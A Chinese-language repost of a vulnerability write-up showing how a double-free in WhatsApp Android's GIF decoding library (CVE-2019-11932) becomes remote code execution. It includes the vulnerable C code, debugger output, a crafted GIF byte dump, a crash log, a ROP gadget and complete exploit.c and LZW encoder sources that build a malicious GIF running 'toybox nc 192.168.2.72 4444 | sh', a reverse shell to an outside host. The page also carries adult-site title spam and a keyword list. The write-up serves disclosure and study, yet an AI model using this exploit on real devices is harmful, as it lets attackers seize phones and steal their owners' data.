中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞

發布時間:2021-12-22 17:15:07 來源:億速云 閱讀:233 作者:柒染 欄目:網絡安全

這篇文章給大家介紹如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

寫在前面的話

我將跟大家討論我在WhatsApp Android端應用程序中找到的一個雙重釋放漏洞(CVE-2019-11932),并且我會將該漏洞轉變成一個遠程代碼執行漏洞。目前,我已經將漏洞信息上報給了Facebook,Facebook也在官方發布的WhatsApp v2.19.244中修復了該漏洞。

因此,我們建議廣大用戶盡快升級至最新版本的WhatsApp(v2.19.244及以上版本)以保護自己的安全。

演示樣例

如果Google Drive主鏈無法訪問的話,可以直接使用備用鏈接。

攻擊(漏洞利用)場景復現步驟如下:

1、00:16,攻擊者通過任意信道向目標用戶發送了一個GIF文件,其中的一個就是通過WhatsApp發送的附件文件。比如說,點擊“附件”按鈕,選擇GIF圖片文件,然后點擊發送。如果攻擊者在目標用戶的聯系人列表中,那么目標用戶的設備就會自動下載GIF,整個過程無需額外的用戶交互。

2、00:24,目標用戶想要給TA的WhatsApp好友發送一個多媒體文件,那么TA就會點擊“附件”并打開設備的圖片庫,然后選擇需要發送的多媒體文件。需要注意的是,目標用戶一旦打開了WhatsApp圖片庫,便會觸發該漏洞,而無需進行其他操作。

3、00:30,由于WhatsApp會顯示所有多媒體文件的縮略圖,此時將會觸發雙重釋放漏洞并執行我們的RCE漏洞利用代碼。

libpl_droidsonroids_gif庫中的雙重釋放漏洞

當WhatsApp用戶在WhatsApp中打開圖片庫并選取多媒體文件時,WhatsApp將會調用libpl_droidsonroids_gif.so原生庫來對文件進行解析,并生成GIF文件的縮略圖。libpl_droidsonroids_gif.so是一個開源代碼庫,源碼可以點擊【這里】獲取。

一個GIF文件中可以包含多個編碼幀,為了存儲解碼后的幀,WhatasApp圖片庫將使用名為rasterBits的緩沖區。如果所有幀的大小相同,rasterBits緩沖區則會被重復使用,無需重新分配。 但是如果滿足以下三個條件中的一個,則仍會重新分配:

width height > originalWidth originalHeight

width – originalWidth > 0

height – originalHeight > 0

緩沖區重新分配需要使用到free和malloc函數,如果重新分配的幀尺寸為0,則會直接釋放。假設有一個三幀的GIF文件,尺寸分別為100、0和0。那么:

1、第一次重新分配后,我們有大小為100的info-> rasterBits緩沖區。

2、第二次重新分配0時,則會釋放info-> rasterBits緩沖區。

3、在第三次重新分配0時,再次釋放info-> rasterBits緩沖區。

很明顯,這就是雙重釋放漏洞的成因,觸發位置在decoding.c中:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;const uint_fast32_t newRasterSize =        gifFilePtr->Image.Width * gifFilePtr->Image.Height;if (newRasterSize > info->rasterSize || widthOverflow > 0 ||    heightOverflow > 0) {    void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize,     <<-- double-free here                                       sizeof(GifPixelType));    if (tmpRasterBits == NULL) {        gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM;        break;    }    info->rasterBits = tmpRasterBits;    info->rasterSize = newRasterSize;}

在Android中,如果對大小為N的內存進行雙重釋放,則會導致兩個大小為N的內存被分配相同地址。

(lldb) expr int $foo = (int) malloc(112)(lldb) p/x $foo(int) $14 = 0xd379b250(lldb) p (int)free($foo)(int) $15 = 0(lldb) p (int)free($foo)(int) $16 = 0(lldb) p/x (int)malloc(12)(int) $17 = 0xd200c350(lldb) p/x (int)malloc(96)(int) $18 = 0xe272afc0(lldb) p/x (int)malloc(180)(int) $19 = 0xd37c30c0(lldb) p/x (int)malloc(112)(int) $20 = 0xd379b250(lldb) p/x (int)malloc(112)(int) $21 = 0xd379b250

上述代碼段中,$foo被釋放了兩次,這將導致$20和$21返回相同的地址。

接下來,我們看看gif.h文件中的GifInfo結構體:

struct GifInfo {    void (*destructor)(GifInfo *, JNIEnv *);  <<-- there's a function pointer here    GifFileType *gifFilePtr;    GifWord originalWidth, originalHeight;    uint_fast16_t sampleSize;    long long lastFrameRemainder;    long long nextStartTime;    uint_fast32_t currentIndex;    GraphicsControlBlock *controlBlock;    argb *backupPtr;    long long startPos;    unsigned char *rasterBits;    uint_fast32_t rasterSize;    char *comment;    uint_fast16_t loopCount;    uint_fast16_t currentLoop;    RewindFunc rewindFunction;   <<-- there's another function pointer here    jfloat speedFactor;    uint32_t stride;    jlong sourceLength;    bool isOpaque;    void *frameBufferDescriptor;};

接下來,嘗試構造下面尺寸的GIF文件(三幀):

sizeof(GifInfo),0,0

打開WhatsApp圖片庫之后,將觸發rasterBits緩沖區上大小為sizeof(GifInfo)的雙重釋放。有趣的是,WhatsApp圖片庫中的GIF文件會被解析兩次。當GIF文件再次被解析時,將創建一個GifInfo對象。根據Android中的雙重釋放漏洞特性,GifInfo info對象和info-> rasterBits會指向相同地址。然后,DDGifSlurp()函數將解碼第一幀給info-> rasterBits緩沖區,這會覆蓋掉info和它的rewindFunction()函數(該函數位于DDGifSlurp()的末尾處)。

控制PC寄存器

我們構造的GIF文件如下:

47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B

它包含以下四個幀:

Frame 1:

2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00F0 CE 57 2B 6F EE FF FF

Frame 2:

2C 00 00 00 00 1C 0F 00 00 00 00

Frame 3:

2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00

Frame 4:

2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00

WhatsApp圖片庫的多媒體文件解析流程如下:

第一次解析

初始化:

GifInfo *info = malloc(168);

Frame 1:

info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);

Frame 2:

info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);

Frame 3:

info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);

Frame 4:

主要負責讓這個GIF文件生效。

第二次解析:

初始化:

GifInfo *info = malloc(168);

Frame 1:

info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);

Frame 2, 3, 4:

省略

End:

info->rewindFunction(info);

由于第一次解析中的雙重釋放問題,導致info和info-> rasterBits現指向相同位置。在第二次解析中,已按照預期處理第一幀。那么當info->rewindFunction(info)被調用時,我們就可以控制rewindFunction和PC了。需要注意,上面的這些幀過了LZW編碼,并且必須使用LZW編碼器來處理GIF圖片幀。

這張GIF文件將導致應用崩潰:

--------- beginning of crash10-02 11:09:38.460 17928 18059 F libc    : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp)10-02 11:09:38.467  1027  1027 D QCOM PowerHAL: LAUNCH HINT: OFF10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone10-02 11:09:38.495  1127  1127 I /system/bin/tombstoned: received crash request for pid 1792810-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059)10-02 11:09:38.497 18071 18071 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***10-02 11:09:38.497 18071 18071 F DEBUG   : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys'10-02 11:09:38.497 18071 18071 F DEBUG   : Revision: 'rev_10'10-02 11:09:38.497 18071 18071 F DEBUG   : ABI: 'arm64'10-02 11:09:38.497 18071 18071 F DEBUG   : pid: 17928, tid: 18059, name: image-loader  >>> com.whatsapp <<<10-02 11:09:38.497 18071 18071 F DEBUG   : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------10-02 11:09:38.497 18071 18071 F DEBUG   :     x0   0000000000000000  x1   000000000000468b  x2   0000000000000006  x3   000000000000000810-02 11:09:38.497 18071 18071 F DEBUG   :     x4   0000000000000000  x5   0000000000000000  x6   0000000000000000  x7   7f7f7f7f7f7f7f7f10-02 11:09:38.497 18071 18071 F DEBUG   :     x8   0000000000000083  x9   0000000010000000  x10  0000007da3c81cc0  x11  000000000000000110-02 11:09:38.497 18071 18071 F DEBUG   :     x12  0000007da3c81be8  x13  ffffffffffffffff  x14  ff00000000000000  x15  ffffffffffffffff10-02 11:09:38.497 18071 18071 F DEBUG   :     x16  00000055b111efa8  x17  0000007e2bb3452c  x18  0000007d8ba9bad8  x19  000000000000460810-02 11:09:38.497 18071 18071 F DEBUG   :     x20  000000000000468b  x21  0000000000000083  x22  0000007da3c81e48  x23  00000055b111f3f010-02 11:09:38.497 18071 18071 F DEBUG   :     x24  0000000000000040  x25  0000007d8bbff588  x26  00000055b1120670  x27  000000000000000b10-02 11:09:38.497 18071 18071 F DEBUG   :     x28  00000055b111f010  x29  0000007da3c81d00  x30  0000007e2bae976010-02 11:09:38.497 18071 18071 F DEBUG   :     sp   0000007da3c81cc0  pc   0000007e2bae9788  pstate 000000006000000010-02 11:09:38.499 18071 18071 F DEBUG   :10-02 11:09:38.499 18071 18071 F DEBUG   : backtrace:10-02 11:09:38.499 18071 18071 F DEBUG   :     #00 pc 000000000001d788  /system/lib64/libc.so (abort+120)10-02 11:09:38.499 18071 18071 F DEBUG   :     #01 pc 0000000000002fac  /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012)10-02 11:09:38.499 18071 18071 F DEBUG   :     #02 pc 00000000000004ec  [vdso:0000007e2e4b0000]10-02 11:09:38.499 18071 18071 F DEBUG   :     #03 pc deadbeeefffffffc  <unknown>

處理ASLR和W^X

拿到PC控制權之后,我們可以嘗試實現RCE攻擊。我們的目的是執行下列命令:

system("toybox nc 192.168.2.72 4444 | sh");

此時需要使用到libc.so中的system()函數,并將PC指向該函數,X0指向“ toybox nc 192.168.2.72 4444 | sh”。首先,讓PC跳轉到一個中間件,中間件需要設置X0來指向"toybox nc 192.168.2.72 4444 | sh"并跳轉到system()。查看info->rewindFunction(info)的反匯編代碼,可以看到X0和X19都指向了info-> rasterBits(或者說info,它們都指向相同的位置),而X8實際指向的是info-> rewindFunction。

如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞

libhwui.so中有一個中間件正好符合我們的條件:

ldr x8, [x19, #0x18]add x0, x19, #0x20blr x8

假設上面這個gatget地址為AAAAAAAA,而system()函數的地址為BBBBBBBB。那么在LZW編碼之前,構造rasterBits緩沖區(幀1)的內容如下:

00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000010: 0000 0000 0000 0000 4242 4242 4242 4242  ........BBBBBBBB00000020: 746f 7962 6f78 206e 6320 3139 322e 3136  toybox nc 192.1600000030: 382e 322e 3732 2034 3434 3420 7c20 7368  8.2.72 4444 | sh00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000080: 4141 4141 4141 4141 eeff                 AAAAAAAA..

漏洞利用整合

大家可以直接下載并編譯我提供的代碼:【傳送門】。

需要注意,system()的地址以及中間件必須使用實際地址進行替換:

  /*    Gadget g1:        ldr x8, [x19, #0x18]        add x0, x19, #0x20        blr x8    */    size_t g1_loc = 0x7cb81f0954;  <<-- replace this    memcpy(buffer + 128, &g1_loc, 8);    size_t system_loc = 0x7cb602ce84; <<-- replace thismemcpy(buffer + 24, &system_loc, 8);

運行代碼,生成GIF文件:

notroot@osboxes:~/Desktop/gif$ make...............notroot@osboxes:~/Desktop/gif$ ./exploit exploit.gifbuffer = 0x7ffc586cd8b0 size = 26647 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CCFF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 0000 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 089C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40** C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A34 68 D0 00 C1 07 ** 1C 34 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 0000 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 0018 00 0A 00 0F 00 01 00 00 3B

復制上述代碼到GIF文件中,然后將其以文檔的形式發送給目標用戶。需要注意的是,我們不能將其以媒體文件發送,否則WhatsApp會自動將其轉換為MP4格式。目標用戶收到GIF文件后,除非打開WhatsApp圖片庫,否則不會出現任何異常情況。

exploit.c代碼

#include "gif_lib.h"#define ONE_BYTE_HEX_STRING_SIZE   3static inline voidget_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) {    int i;    unsigned int byte_no = 0;    if (buf_len <= 0) {        if (hex_len > 0) {            hex_[0] = '';        }        return;    }    if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1)        return;    do {        for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) {            snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff);            hex_ += ONE_BYTE_HEX_STRING_SIZE;            hex_len -=ONE_BYTE_HEX_STRING_SIZE;            buf_len--;        }        if (buf_len > 1) {            snprintf(hex_, hex_len, "n");            hex_ += 1;        }    } while ((buf_len) > 0 && (hex_len > 0));}int genLine_0(unsigned char *buffer) {/*    00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................    00000010: 0000 0000 0000 0000 4242 4242 4242 4242  ........BBBBBBBB    00000020: 746f 7962 6f78 206e 6320 3139 322e 3136  toybox nc 192.16    00000030: 382e 322e 3732 2034 3434 3420 7c20 7368  8.2.72 4444 | sh    00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................    00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................    00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................    00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................    00000080: 4141 4141 4141 4141 eeff                 AAAAAAAA..    Over-write AAAAAAAA with address of gadget 1    Over-write BBBBBBBB with address of system() function    Gadget 1    ldr x8, [x19, #0x18]    add x0, x19, #0x20    blr x8*/    unsigned char hexData[138] = {            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF    };    memcpy(buffer, hexData, sizeof(hexData));    /*    Gadget g1:        ldr x8, [x19, #0x18]        add x0, x19, #0x20        blr x8    */    size_t g1_loc = 0x7cb81f0954;    memcpy(buffer + 128, &g1_loc, 8);    size_t system_loc = 0x7cb602ce84;    memcpy(buffer + 24, &system_loc, 8);    char *command = "toybox nc 192.168.2.72 4444 | sh";    memcpy(buffer + 32, command, strlen(command));    return sizeof(hexData);};int main(int argc, char *argv[]) {    GifFilePrivateType Private = {            .Buf[0] = 0,            .BitsPerPixel = 8,            .ClearCode = 256,            .EOFCode = 257,            .RunningCode = 258,            .RunningBits = 9,            .MaxCode1 = 512,            .CrntCode = FIRST_CODE,            .CrntShiftState = 0,            .CrntShiftDWord = 0,            .PixelCount = 112,            .OutBuf = { 0 },            .OutBufLen = 0    };    int size = 0;    unsigned char buffer[1000] = { 0 };    unsigned char line[500] = { 0 };    int line_size = genLine_0(line);    EGifCompressLine(&Private, line, line_size);    unsigned char starting[48] = {            0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC,            0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08    };    unsigned char padding[2] = { 0xFF, 0xFF };    unsigned char ending[61] = {            0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00,            0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00,            0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B    };    // starting bytes    memcpy(buffer + size, starting, sizeof(starting));    size += sizeof(starting);    // size of encoded line + padding    int tmp = Private.OutBufLen + sizeof(padding);    buffer[size++] = tmp;    // encoded-line bytes    memcpy(buffer + size, Private.OutBuf, Private.OutBufLen);    size += Private.OutBufLen;    // padding bytes of 0xFFs to trigger info->rewind(info);    memcpy(buffer + size, padding, sizeof(padding));    size += sizeof(padding);    // ending bytes    memcpy(buffer + size, ending, sizeof(ending));    size += sizeof(ending);    char hex_dump[5000];    get_hex(buffer, size, hex_dump, 5000, 16);    printf("buffer = %p size = %dn%sn", buffer, size, hex_dump);}egif_lib.c#include <stdlib.h>#include <stdio.h>#include <string.h>#include "gif_lib.h"static int EGifBufferedOutput(GifFilePrivateType *Private, int c) {    Private->Buf[0] = 0;    Private->Buf[++(Private->Buf[0])] = c;    Private->OutBuf[Private->OutBufLen++] = c;    return GIF_OK;}static int EGifCompressOutput(GifFilePrivateType *Private, const int Code){    int retval = GIF_OK;    if (Code == FLUSH_OUTPUT) {        while (Private->CrntShiftState > 0) {            /* Get Rid of what is left in DWord, and flush it. */            if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)                retval = GIF_ERROR;            Private->CrntShiftDWord >>= 8;            Private->CrntShiftState -= 8;        }        Private->CrntShiftState = 0;    /* For next time. */        if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR)            retval = GIF_ERROR;    } else {        Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState;        Private->CrntShiftState += Private->RunningBits;        while (Private->CrntShiftState >= 8) {            /* Dump out full bytes: */            if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)                retval = GIF_ERROR;            Private->CrntShiftDWord >>= 8;            Private->CrntShiftState -= 8;        }    }    /* If code cannt fit into RunningBits bits, must raise its size. Note */    /* however that codes above 4095 are used for special signaling.      */    if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) {        Private->MaxCode1 = 1 << ++Private->RunningBits;    }    return retval;}int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen){    int i = 0, CrntCode, NewCode;    unsigned long NewKey;    GifPixelType Pixel;    if (Private->CrntCode == FIRST_CODE)    /* Its first time! */        CrntCode = Line[i++];    else        CrntCode = Private->CrntCode;    /* Get last code in compression. */    while (i < LineLen) {   /* Decode LineLen items. */        Pixel = Line[i++];  /* Get next pixel from stream. */        if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {            return GIF_ERROR;        }        CrntCode = Pixel;        /* If however the HashTable if full, we send a clear first and         * Clear the hash table.         */        if (Private->RunningCode >= LZ_MAX_CODE) {            /* Time to do some clearance: */            if (EGifCompressOutput(Private, Private->ClearCode)                == GIF_ERROR) {                return GIF_ERROR;            }            Private->RunningCode = Private->EOFCode + 1;            Private->RunningBits = Private->BitsPerPixel + 1;            Private->MaxCode1 = 1 << Private->RunningBits;        }    }    /* Preserve the current state of the compression algorithm: */    Private->CrntCode = CrntCode;    if (Private->PixelCount == 0) {        /* We are done - output last Code and flush output buffers: */        if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {            return GIF_ERROR;        }        if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) {            return GIF_ERROR;        }        if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) {            return GIF_ERROR;        }    }    return GIF_OK;}

關于如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

阳曲县| 泸州市| 南雄市| 南岸区| 利川市| 邳州市| 延庆县| 西昌市| 眉山市| 建瓯市| 文山县| 河曲县| 修文县| 丰原市| 平舆县| 富宁县| 行唐县| 扶余县| 英吉沙县| 襄樊市| 蒙山县| 乌鲁木齐县| 秦安县| 乌兰浩特市| 汝阳县| 柳州市| 资兴市| 南宁市| 绥棱县| 甘南县| 东光县| 西和县| 乡城县| 洛浦县| 临高县| 通城县| 五家渠市| 信宜市| 石楼县| 隆子县| 舒兰市|